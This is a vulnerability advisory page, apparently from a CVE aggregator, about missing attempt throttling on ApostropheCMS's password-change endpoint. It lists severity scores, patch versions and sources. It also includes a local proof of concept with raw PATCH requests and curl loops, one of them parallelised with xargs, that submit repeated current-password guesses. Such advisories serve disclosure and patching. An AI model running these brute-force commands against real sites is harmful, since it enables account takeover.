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Response snapshot Oct 27, 2026, 04:01 UTC

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VulnerabilityCVE-2026-113710

ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing

**Summary** The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism.

Published Updated

At a glance

Exploited
Not known
Severity
5.9 Medium (CVSS 3.1)
Chance of exploitation
0.3% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-653j-g8j7-gh54 (opens a new tab)

What happened

**Summary** The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.

**Exact source path** packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

**The password-change route is:** PATCH /api/v1/@apostrophecms/settings/password

**The route calls the password verifier directly through:** await self.handleProtectedSubform(req, subform, req.body );

Continue reading

**The password verification path is:** packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

**async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }**

**The verifier itself does not increment the login-attempt cache or enforce a delay:** packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:** packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

**Local PoC** The test used a disposable authenticated guest session against:

Request:

``` PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1 Host: 127.0.0.1:3000 Cookie: Content-Type: application/json

{ "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" } ```

**Equivalent command:**

``` for i in 1 2 3 4 5; do time curl -i -sS \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{ "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" }' done ```

**Observed response** All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" }

Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms

No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.

seq 1 20 | xargs -P 20 -I{} sh -c \ "curl --max-time 15 -sS \ -o /tmp/password-attempt-{}.body \ -w '%{http_code}\\n' \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"

Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response

The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK

Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password.

The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.

Affected package ranges reported by GitHub: apostrophe: < 4.33.0

Scores and how they were measured

CVSS base severity

5.9

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.3%

Scored Percentile 25.9%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-653j-g8j7-gh54 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-653j-g8j7-gh54, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113710, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 20). ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing (CVE-2026-113710). https://kevwire.com/record/CVE-2026-113710

MLA

"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing (CVE-2026-113710)." KEVWire, 20 Oct. 2026, kevwire.com/record/CVE-2026-113710.

Chicago

KEVWire. "ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing (CVE-2026-113710)." Last modified October 20, 2026. https://kevwire.com/record/CVE-2026-113710.

Evidence summary (plain text)

ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing (Oct 20, 2026).
**Summary**
The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.

**Exact source path**
packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
CVSS 5.9 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-653j-g8j7-gh54).
EPSS 0.3% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113710&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-653j-g8j7-gh54: https://github.com/advisories/GHSA-653j-g8j7-gh54
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113710&date=2026-10-26
Record ID: CVE-2026-113710.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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